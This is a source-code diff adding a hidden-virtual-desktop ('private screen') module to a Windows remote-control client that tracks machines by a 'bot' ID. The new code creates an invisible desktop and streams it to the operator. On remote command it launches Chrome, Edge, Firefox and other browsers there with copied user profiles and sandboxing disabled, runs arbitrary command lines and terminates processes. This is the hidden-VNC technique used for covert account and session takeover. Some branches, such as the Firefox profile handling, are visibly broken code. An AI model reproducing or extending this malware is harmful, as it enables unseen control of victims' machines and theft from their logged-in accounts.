diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj
index 55f7f8c..3ed6eb6 100644
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -192,6 +192,7 @@
+
@@ -248,6 +249,9 @@
+
+
+
diff --git a/client/Common.cpp b/client/Common.cpp
index 6291f57..da691b9 100644
--- a/client/Common.cpp
+++ b/client/Common.cpp
@@ -5,6 +5,7 @@
#include "ScreenManager.h"
#include "FileManager.h"
#include "file/FileManager.h"
+#include "screenhide/ScreenHideManager.h"
#include "TalkManager.h"
#include "ChatManager.h"
#include "MachineManager.h"
@@ -119,6 +120,11 @@ DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
return LoopManager(lParam);
}
+DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
+{
+ return LoopManager(lParam);
+}
+
DWORD WINAPI LoopShellManager(LPVOID lParam)
{
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
diff --git a/client/Common.h b/client/Common.h
index 4e1c88c..e8fd74c 100644
--- a/client/Common.h
+++ b/client/Common.h
@@ -31,6 +31,7 @@ DWORD WINAPI LoopTalkManager(LPVOID lParam);
DWORD WINAPI LoopChatManager(LPVOID lParam);
DWORD WINAPI LoopMachineManager(LPVOID lParam);
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
+DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam);
DWORD WINAPI LoopProcessManager(LPVOID lParam);
DWORD WINAPI LoopWindowManager(LPVOID lParam);
DWORD WINAPI LoopVideoManager(LPVOID lParam);
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 82ba7b1..39a9e9b 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -1187,6 +1187,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
+ case COMMAND_PRIVATE_SCREEN_PLUGIN: { // 隐私屏幕(虚拟桌面,SimplePlugins 迁移)
+ {
+ auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+ sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
+ m_hThread[m_ulThreadCount].p = sub;
+ }
+ m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopPrivateScreenPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
+ break;
+ }
+
case COMMAND_SHELL: {
if (!ENABLE_SHELL) {
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index 4c0eba9..1b4bc70 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -199,6 +199,7 @@
+
@@ -258,6 +259,9 @@
+
+
+
diff --git a/client/screenhide/ScreenHideManager.cpp b/client/screenhide/ScreenHideManager.cpp
new file mode 100644
index 0000000..834b802
--- /dev/null
+++ b/client/screenhide/ScreenHideManager.cpp
@@ -0,0 +1,615 @@
+// ScreenManagers.cpp: implementation of the CScreenHideManager class.
+//
+//////////////////////////////////////////////////////////////////////
+#include "StdAfx.h"
+#include
+#include "ScreenHideManager.h"
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+
+#pragma comment (lib, "Shlwapi.lib")
+
+namespace SimplePluginsScreenHide {
+
+//////////////////////////////////////////////////////////////////////
+// Construction/Destruction
+//////////////////////////////////////////////////////////////////////
+
+// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName)
+BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
+ // 切换到目标桌面
+ if (!SetThreadDesktop(hDesk)) {
+ return FALSE;
+ }
+
+ // 枚举目标桌面的所有窗口
+ BOOL bFound = FALSE;
+ std::pair data(targetExeName, &bFound);
+ EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
+ auto pData = reinterpret_cast*>(lParam);
+
+ DWORD dwProcessId;
+ GetWindowThreadProcessId(hWnd, &dwProcessId);
+
+ // 获取进程名
+ HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
+ if (hProcess) {
+ char exePath[MAX_PATH];
+ DWORD size = MAX_PATH;
+ if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
+ if (_stricmp(exePath, pData->first) == 0) {
+ *(pData->second) = TRUE;
+ return FALSE; // 终止枚举
+ }
+ }
+ CloseHandle(hProcess);
+ }
+ return TRUE; // 继续枚举
+ }, reinterpret_cast(&data));
+
+ return bFound;
+}
+
+// 获取指定桌面下的所有进程ID
+std::vector GetProcessIdsInDesktop(HDESK hDesk) {
+ std::set pidSet;
+ HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
+
+ if (SetThreadDesktop(hDesk)) {
+ EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) {
+ auto& pids = *reinterpret_cast*>(lParam);
+
+ // 跳过不可见窗口和子窗口
+ if (IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
+ DWORD pid = 0;
+ GetWindowThreadProcessId(hWnd, &pid);
+ if (pid != 0) pids.insert(pid);
+ }
+ return TRUE;
+ }, reinterpret_cast(&pidSet));
+ SetThreadDesktop(hOriginalDesk);
+ }
+
+ return std::vector(pidSet.begin(), pidSet.end());
+}
+
+bool IsSystemProcess(DWORD pid) {
+ HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
+ if (!hProcess) return true;
+
+ char exeName[MAX_PATH];
+ DWORD size = MAX_PATH;
+ bool isSystem = false;
+
+ if (QueryFullProcessImageName(hProcess, 0, exeName, &size)) {
+ TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
+ GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
+ strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
+ isSystem = (_stricmp(exeName, szExplorerFile)==0);
+ }
+ CloseHandle(hProcess);
+ return isSystem;
+}
+
+void SafeTerminateDesktopProcesses(HDESK hDesk) {
+ // 检查桌面句柄有效性
+ if (!hDesk || hDesk == INVALID_HANDLE_VALUE) return;
+
+ // 获取当前桌面(用于恢复)
+ HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
+ if (!hOriginalDesk) {
+ Mprintf("Failed to get original desktop\n");
+ return;
+ }
+
+ // 切换桌面
+ if (!SetThreadDesktop(hDesk)) {
+ Mprintf("SetThreadDesktop failed\n");
+ return;
+ }
+
+ // 枚举进程
+ auto pids = GetProcessIdsInDesktop(hDesk);
+ SetThreadDesktop(hOriginalDesk); // 立即恢复
+
+ // 终止进程
+ for (DWORD pid : pids) {
+ if (pid == GetCurrentProcessId()) continue; // 跳过自己
+
+ HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
+ if (!hProcess) {
+ Mprintf("OpenProcess failed for PID: %d\n", pid);
+ continue;
+ }
+
+ // 检查是否为系统进程
+ if (IsSystemProcess(pid)) {
+ CloseHandle(hProcess);
+ continue;
+ }
+
+ // 终止进程
+ if (!TerminateProcess(hProcess, 0)) {
+ Mprintf("TerminateProcess failed for PID: %d\n", pid);
+ }
+ CloseHandle(hProcess);
+ }
+}
+
+void CopyDir(TCHAR* from, TCHAR* to)
+{
+ TCHAR fromWildCard[MAX_PATH] = { 0 };
+ lstrcpy(fromWildCard, from);
+ lstrcat(fromWildCard, _T("\\*"));
+
+ if (!CreateDirectory(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
+ return;
+ WIN32_FIND_DATA findData;
+ HANDLE hFindFile = FindFirstFile(fromWildCard, &findData);
+ if (hFindFile == INVALID_HANDLE_VALUE)
+ return;
+
+ do {
+ TCHAR currFileFrom[MAX_PATH] = { 0 };
+ lstrcpy(currFileFrom, from);
+ lstrcat(currFileFrom, _T("\\"));
+ lstrcat(currFileFrom, findData.cFileName);
+
+ TCHAR currFileTo[MAX_PATH] = { 0 };
+ lstrcpy(currFileTo, to);
+ lstrcat(currFileTo, _T("\\"));
+ lstrcat(currFileTo, findData.cFileName);
+
+ if
+ (
+ findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
+ strcmp(findData.cFileName, _T(".")) &&
+ strcmp(findData.cFileName, _T(".."))
+ ) {
+ if (CreateDirectory(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS)
+ CopyDir(currFileFrom, currFileTo);
+ } else
+ CopyFile(currFileFrom, currFileTo, FALSE);
+ } while (FindNextFile(hFindFile, &findData));
+}
+
+void killproc(const TCHAR* name)
+{
+ HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
+ PROCESSENTRY32 pEntry;
+ pEntry.dwSize = sizeof(pEntry);
+ BOOL hRes = Process32First(hSnapShot, &pEntry);
+ while (hRes) {
+ if (strcmp(pEntry.szExeFile, name) == 0) {
+ HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
+ (DWORD)pEntry.th32ProcessID);
+ if (hProcess != NULL) {
+ TerminateProcess(hProcess, 9);
+ CloseHandle(hProcess);
+ }
+ }
+ hRes = Process32Next(hSnapShot, &pEntry);
+ }
+ CloseHandle(hSnapShot);
+}
+
+CScreenHideManager::CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user) :
+ CScreenManagerBase(pClient, nBitDepth, user)
+{
+ m_DlgToken = TOKEN_BITMAPINFO_HIDE;
+}
+
+CScreenHideManager::~CScreenHideManager()
+{
+}
+
+VOID CScreenHideManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
+{
+ if (lpBuffer[0] == TOKEN_HEARTBEAT)
+ return;
+
+ switch (lpBuffer[0]) {
+ case COMMAND_FLUSH_HIDE:
+ ResetScreen(32);
+ break;
+ case COMMAND_SCREEN_CONTROL:
+ ProcessCommand(lpBuffer + 1, nSize - 1);
+ break;
+ case COMMAND_NEXT:
+ NotifyDialogIsOpen();
+ break;
+ case COMMAND_SCREEN_GET_CLIPBOARD:
+ SendClientClipboard();
+ break;
+ case COMMAND_SCREEN_SET_CLIPBOARD:
+ UpdateClientClipboard((char*)lpBuffer + 1, nSize - 1);
+ break;
+ case COMMAND_SCREEN_SETSCREEN_HIDE:
+ Loop_Screen();
+ break;
+ case COMMAND_COMMAND_SCREENUALITY60_HIDE:
+ m_ScreenSpyObject->SendQuality(60);
+ break;
+ case COMMAND_COMMAND_SCREENUALITY85_HIDE:
+ m_ScreenSpyObject->SendQuality(85);
+ break;
+ case COMMAND_COMMAND_SCREENUALITY100_HIDE:
+ m_ScreenSpyObject->SendQuality(100);
+ break;
+ case COMMAND_HIDE_USER: {
+ return OnUserCommand(lpBuffer, nSize);
+ }
+ break;
+ case COMMAND_HIDE_CLEAR:
+ SafeTerminateDesktopProcesses(g_hDesk);
+ break;
+ default:
+ Mprintf("Unknown command: %d\n", (unsigned)lpBuffer[0]);
+ break;
+ }
+}
+
+void CScreenHideManager::OnUserCommand(PBYTE lpBuffer, ULONG nSize) {
+ char* deskName = (char*)m_DesktopID.c_str();
+ switch (lpBuffer[1]) {
+ case IDM_OPEN_Explorer: {
+ const DWORD neverCombine = 2;
+ const TCHAR* valueName = _T("TaskbarGlomLevel");
+
+ HKEY hKey;
+ RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"), 0, KEY_ALL_ACCESS, &hKey);
+ DWORD value;
+ DWORD size = sizeof(DWORD);
+ DWORD type = REG_DWORD;
+ RegQueryValueEx(hKey, valueName, 0, &type, (BYTE*)&value, &size);
+
+ if (value != neverCombine)
+ RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&neverCombine, size);
+
+ TCHAR explorerPath[MAX_PATH] = { 0 };
+ GetWindowsDirectory(explorerPath, MAX_PATH);
+ lstrcat(explorerPath, _T("\\"));
+ lstrcat(explorerPath, _T("explorer.exe"));
+
+ STARTUPINFO startupInfo = { 0 };
+ startupInfo.cb = sizeof(startupInfo);
+ startupInfo.lpDesktop = deskName;
+ PROCESS_INFORMATION processInfo = { 0 };
+ CreateProcess(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+
+ APPBARDATA appbarData;
+ appbarData.cbSize = sizeof(appbarData);
+ for (int i = 0; i < 5; ++i) {
+ Sleep(1000);
+ appbarData.hWnd = FindWindow(_T("shell_TrayWnd"), NULL);
+ if (appbarData.hWnd)
+ break;
+ }
+
+ appbarData.lParam = ABS_ALWAYSONTOP;
+ SHAppBarMessage(ABM_SETSTATE, &appbarData);
+
+ RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&value, size);
+ RegCloseKey(hKey);
+ break;
+ }
+ case IDM_OPEN_run: {
+ TCHAR rundllPath[MAX_PATH] = { 0 };
+ SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath);
+ lstrcat(rundllPath, _T("\\rundll32.exe shell32.dll,#61"));
+ STARTUPINFO startupInfo = { 0 };
+ startupInfo.cb = sizeof(startupInfo);
+ startupInfo.lpDesktop = deskName;
+ PROCESS_INFORMATION processInfo = { 0 };
+ CreateProcess(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+ break;
+ }
+ case IDM_OPEN_Powershell: {
+ TCHAR path[MAX_PATH] = { 0 };
+ lstrcat(path, _T("cmd.exe /c start powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\""));
+ STARTUPINFO startupInfo = { 0 };
+ startupInfo.cb = sizeof(startupInfo);
+ startupInfo.lpDesktop = deskName;
+ PROCESS_INFORMATION processInfo = { 0 };
+ CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+ break;
+ }
+ case IDM_OPEN_Chrome: {
+ TCHAR chromePath[MAX_PATH] = { 0 };
+ SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
+ lstrcat(chromePath, _T("\\Google\\Chrome\\"));
+
+ TCHAR dataPath[MAX_PATH] = { 0 };
+ lstrcat(dataPath, chromePath);
+ lstrcat(dataPath, _T("User Data\\"));
+
+ TCHAR botId[35] = { 0 };
+ TCHAR newDataPath[MAX_PATH] = { 0 };
+ lstrcat(newDataPath, chromePath);
+ lstrcat(newDataPath, deskName);
+
+ CopyDir(dataPath, newDataPath);
+
+ TCHAR path[MAX_PATH] = { 0 };
+ lstrcat(path, _T("cmd.exe /c start "));
+ lstrcat(path, _T("chrome.exe"));
+ lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir="));
+ lstrcat(path, _T("\""));
+ lstrcat(path, newDataPath);
+
+ STARTUPINFO startupInfo = { 0 };
+ startupInfo.cb = sizeof(startupInfo);
+ startupInfo.lpDesktop = deskName;
+ PROCESS_INFORMATION processInfo = { 0 };
+ CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+ break;
+ }
+ case IDM_OPEN_Edge: {
+ TCHAR path[MAX_PATH] = { 0 };
+ lstrcat(path, _T("cmd.exe /c start "));
+ lstrcat(path, _T("msedge.exe"));
+ lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
+ STARTUPINFO startupInfo = { 0 };
+ startupInfo.cb = sizeof(startupInfo);
+ startupInfo.lpDesktop = deskName;
+ PROCESS_INFORMATION processInfo = { 0 };
+ CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+ break;
+ }
+ case IDM_OPEN_Brave: {
+ killproc(_T("brave.exe"));
+ TCHAR path[MAX_PATH] = { 0 };
+ lstrcat(path, _T("cmd.exe /c start "));
+ lstrcat(path, _T("brave.exe"));
+ lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
+ STARTUPINFO startupInfo = { 0 };
+ startupInfo.cb = sizeof(startupInfo);
+ startupInfo.lpDesktop = deskName;
+ PROCESS_INFORMATION processInfo = { 0 };
+ CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+ break;
+ }
+ case IDM_OPEN_Firefox: {
+ TCHAR firefoxPath[MAX_PATH] = { 0 };
+ SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath);
+ lstrcat(firefoxPath, _T("\\Mozilla\\Firefox\\"));
+
+ TCHAR profilesIniPath[MAX_PATH] = { 0 };
+ lstrcat(profilesIniPath, firefoxPath);
+ lstrcat(profilesIniPath, _T("TaskbarGlomLevel"));
+
+ HANDLE hProfilesIni = CreateFile(profilesIniPath, FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+ if (hProfilesIni == INVALID_HANDLE_VALUE)
+ return;
+
+ DWORD profilesIniSize = GetFileSize(hProfilesIni, 0);
+ DWORD read;
+ TCHAR* profilesIniContent = new TCHAR[profilesIniSize + 1];
+ ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL);
+ profilesIniContent[profilesIniSize] = 0;
+
+ TCHAR* isRelativeRead = StrStr(profilesIniContent, _T("IsRelative="));
+ if (!isRelativeRead) {
+ CloseHandle(hProfilesIni);
+ SAFE_DELETE(profilesIniContent);
+ return;
+ }
+
+ isRelativeRead += 11;
+ BOOL isRelative = (*isRelativeRead == _T('1'));
+
+ TCHAR* path = StrStr(profilesIniContent, _T("Path="));
+ if (!path) {
+ CloseHandle(hProfilesIni);
+ SAFE_DELETE(profilesIniContent);
+ return;
+ }
+ TCHAR* pathEnd = StrStr(path, _T("\r"));
+ if (!pathEnd) {
+ CloseHandle(hProfilesIni);
+ SAFE_DELETE(profilesIniContent);
+ return;
+ }
+ *pathEnd = 0;
+ path += 5;
+
+ TCHAR realPath[MAX_PATH] = { 0 };
+ if (isRelative)
+ lstrcpy(realPath, firefoxPath);
+ lstrcat(realPath, path);
+
+ TCHAR newPath[MAX_PATH];
+ lstrcpy(newPath, firefoxPath);
+ lstrcpy(newPath, deskName);
+
+ CopyDir(realPath, newPath);
+
+ TCHAR browserPath[MAX_PATH] = { 0 };
+ lstrcpy(browserPath, _T("cmd.exe /c start "));
+ lstrcpy(browserPath, _T("firefox.exe"));
+ lstrcpy(browserPath, _T(" -no-remote -profile "));
+ lstrcpy(browserPath, _T("\""));
+ lstrcpy(browserPath, newPath);
+ lstrcpy(browserPath, _T("\""));
+
+ STARTUPINFO startupInfo = { 0 };
+ startupInfo.cb = sizeof(startupInfo);
+ startupInfo.lpDesktop = deskName;
+ PROCESS_INFORMATION processInfo = { 0 };
+ CreateProcess(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+ break;
+ }
+ case IDM_OPEN_Iexplore: {
+ TCHAR path[MAX_PATH] = { 0 };
+ lstrcpy(path, _T("cmd.exe /c start "));
+ lstrcat(path, _T("iexplore.exe"));
+
+ STARTUPINFO startupInfo = { 0 };
+ startupInfo.cb = sizeof(startupInfo);
+ startupInfo.lpDesktop = deskName;
+ PROCESS_INFORMATION processInfo = { 0 };
+ CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+ break;
+ }
+ case IDM_OPEN_zdy: {
+ TCHAR path[MAX_PATH] = { 0 };
+ lstrcpy(path, (TCHAR*)((char*)lpBuffer + 2));
+ STARTUPINFO startupInfo = { 0 };
+ startupInfo.cb = sizeof(startupInfo);
+ startupInfo.lpDesktop = deskName;
+ PROCESS_INFORMATION processInfo = { 0 };
+ CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+ break;
+ }
+ case IDM_OPEN_zdy2: {
+ ZdyCmd m_ZdyCmd = {};
+ memcpy(&m_ZdyCmd, (char*)lpBuffer + 2, sizeof(ZdyCmd));
+ CopyDir(m_ZdyCmd.oldpath, m_ZdyCmd.newpath);
+
+ TCHAR path[MAX_PATH] = { 0 };
+ lstrcpy(path, _T("cmd.exe /c start "));
+ lstrcat(path, m_ZdyCmd.cmdline);
+ lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
+ lstrcat(path, _T("\""));
+ lstrcat(path, m_ZdyCmd.newpath);
+ STARTUPINFO startupInfo = { 0 };
+ startupInfo.cb = sizeof(startupInfo);
+ startupInfo.lpDesktop = deskName;
+ PROCESS_INFORMATION processInfo = { 0 };
+ CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+ break;
+ }
+ case IDM_OPEN_360JS: {
+ TCHAR chromePath[MAX_PATH] = { 0 };
+ SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
+ lstrcat(chromePath, _T("\\360Chrome\\Chrome\\"));
+ TCHAR dataPath[MAX_PATH] = { 0 };
+ lstrcpy(dataPath, chromePath);
+ lstrcat(dataPath, _T("User Data\\"));
+
+ TCHAR newDataPath[MAX_PATH] = { 0 };
+ lstrcpy(newDataPath, chromePath);
+ lstrcat(newDataPath, deskName);
+
+ CopyDir(dataPath, newDataPath);
+
+ TCHAR path[MAX_PATH] = { 0 };
+ lstrcpy(path, _T("cmd.exe /c start "));
+ lstrcat(path, _T("360chrome.exe"));
+ lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
+ lstrcat(path, _T("\""));
+ lstrcat(path, newDataPath);
+
+ STARTUPINFO startupInfo = { 0 };
+ startupInfo.cb = sizeof(startupInfo);
+ startupInfo.lpDesktop = deskName;
+ PROCESS_INFORMATION processInfo = { 0 };
+ CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+ break;
+ }
+ case IDM_OPEN_360AQ: {
+ TCHAR chromePath[MAX_PATH] = { 0 };
+
+ SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
+ lstrcat(chromePath, _T("\\"));
+
+ TCHAR dataPath[MAX_PATH] = { 0 };
+ lstrcpy(dataPath, chromePath);
+ lstrcat(dataPath, _T("secoresdk\\"));
+
+ TCHAR newDataPath[MAX_PATH] = { 0 };
+ lstrcpy(newDataPath, chromePath);
+ lstrcat(newDataPath, deskName);
+
+ CopyDir(dataPath, newDataPath);
+ lstrcat(newDataPath, _T("\\360se6\\Application\\360se.exe"));
+
+ TCHAR path[MAX_PATH] = { 0 };
+ lstrcpy(path, _T("cmd.exe /c start "));
+ lstrcat(path, newDataPath);
+
+ lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
+
+ STARTUPINFO startupInfo = { 0 };
+ startupInfo.cb = sizeof(startupInfo);
+ startupInfo.lpDesktop = deskName;
+ PROCESS_INFORMATION processInfo = { 0 };
+ CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+ break;
+ }
+ case IDM_OPEN_360AQ2: {
+ TCHAR chromePath[MAX_PATH] = { 0 };
+
+ SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
+ lstrcat(chromePath, _T("\\"));
+
+ TCHAR dataPath[MAX_PATH] = { 0 };
+ lstrcpy(dataPath, chromePath);
+ lstrcat(dataPath, _T("360se6\\"));
+
+ TCHAR newDataPath[MAX_PATH] = { 0 };
+ lstrcpy(newDataPath, chromePath);
+ lstrcat(newDataPath, deskName);
+
+ CopyDir(dataPath, newDataPath);
+ lstrcat(newDataPath, _T("\\Application\\360se.exe"));
+
+ TCHAR path[MAX_PATH] = { 0 };
+ lstrcpy(path, _T("cmd.exe /c start "));
+ lstrcat(path, newDataPath);
+
+ lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
+
+ STARTUPINFO startupInfo = { 0 };
+ startupInfo.cb = sizeof(startupInfo);
+ startupInfo.lpDesktop = deskName;
+ PROCESS_INFORMATION processInfo = { 0 };
+ CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+ break;
+ }
+ }
+}
+
+void CScreenHideManager::InitScreenSpy() {
+ HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
+ if (!hDesk) {
+ hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
+ Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
+ }
+ else {
+ Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
+ }
+ if (hDesk) {
+ TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
+ GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
+ strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
+ if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
+ {
+ if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
+ Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
+ }
+ } else {
+ Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
+ }
+ SetThreadDesktop(g_hDesk = hDesk);
+ }
+ BYTE* param = (BYTE*)m_ptrUser;
+ int compress = ALGORITHM_DIFF;
+ if (param) {
+ compress = param[1];
+ delete[] param;
+ m_ptrUser = NULL;
+ }
+ m_ScreenSpyObject = new CScreenHideSpy(32, compress);
+}
+
+} // namespace SimplePluginsScreenHide
diff --git a/client/screenhide/ScreenHideManager.h b/client/screenhide/ScreenHideManager.h
new file mode 100644
index 0000000..f203551
--- /dev/null
+++ b/client/screenhide/ScreenHideManager.h
@@ -0,0 +1,21 @@
+#pragma once
+#include "Manager.h"
+
+#include "ScreenHideSpy.h"
+#include "ScreenManagerBase.h"
+
+namespace SimplePluginsScreenHide {
+
+class CScreenHideManager : public CScreenManagerBase
+{
+public:
+ CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user=NULL);
+ virtual ~CScreenHideManager();
+
+ void OnUserCommand(PBYTE lpBuffer, ULONG nSize);
+
+ virtual VOID OnReceive(PBYTE lpBuffer, ULONG nSize);
+ virtual void InitScreenSpy();
+};
+
+} // namespace SimplePluginsScreenHide
diff --git a/client/screenhide/ScreenHideSpy.h b/client/screenhide/ScreenHideSpy.h
new file mode 100644
index 0000000..b8acf2d
--- /dev/null
+++ b/client/screenhide/ScreenHideSpy.h
@@ -0,0 +1,22 @@
+#pragma once
+
+#include "ScreenSpy.h"
+
+namespace SimplePluginsScreenHide {
+
+// 隐私屏幕捕获器。
+//
+// SimplePlugins 原版 CScreenHideSpy 基于其自带的旧 CScreenSpy/ScreenCapture 捕获链
+// (jpeg + CaptureFrame/BMP_JPG/ScanChangedRect),已与 YAMA 重写后的编码器捕获层
+// (ScreenCapture::GetNextScreenData + EncoderFactory)分叉,故此处改写为直接继承
+// YAMA 的 ::CScreenSpy,仅把 vDesk=TRUE(虚拟桌面)传入基类,捕获/编码全部复用基类。
+class CScreenHideSpy : public ::CScreenSpy
+{
+public:
+ CScreenHideSpy(int biBitCount = 32, int algo = ALGORITHM_DIFF)
+ : ::CScreenSpy((ULONG)biBitCount, (BYTE)algo, TRUE /* vDesk → m_bVirtualPaint */)
+ {
+ }
+};
+
+} // namespace SimplePluginsScreenHide
diff --git a/client/screenhide/ScreenManagerBase.h b/client/screenhide/ScreenManagerBase.h
new file mode 100644
index 0000000..fff5155
--- /dev/null
+++ b/client/screenhide/ScreenManagerBase.h
@@ -0,0 +1,642 @@
+#pragma once
+
+#include "Manager.h"
+#include "ScreenCapture.h"
+#include
+#include
+#include
+
+class IOCPClient;
+
+namespace SimplePluginsScreenHide {
+
+class CScreenManagerBase : public CManager {
+public: // 构造和析构
+ CScreenManagerBase(IOCPClient* ClientObject, int nBitDepth, void* user = NULL,
+ int token= TOKEN_BITMAPINFO) : CManager(ClientObject)
+ {
+ m_DlgToken = token;
+ g_hDesk = nullptr;
+ m_DesktopID = GetBotId();
+ m_ptrUser = user;
+ m_ScreenSpyObject = nullptr;
+ m_biBitCount = nBitDepth;
+ m_fps = 10;
+ m_bIsWorking = TRUE;
+ m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
+ m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
+ m_point = {};
+ m_lastPoint = {};
+ m_lmouseDown = FALSE;
+ m_hResMoveWindow = nullptr;
+ m_resMoveType = 0;
+ m_rmouseDown = FALSE;
+ m_rclickPoint = {};
+ m_rclickWnd = nullptr;
+ m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::WorkThreadProc, this, 0, NULL);
+ m_hBlankThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::ControlThread, this, 0, NULL);
+ SetReady(TRUE);
+ }
+ virtual ~CScreenManagerBase() {
+ m_bIsWorking = FALSE;
+ WaitForSingleObject(m_hWorkThread, INFINITE);
+ WaitForSingleObject(m_hBlankThread, INFINITE);
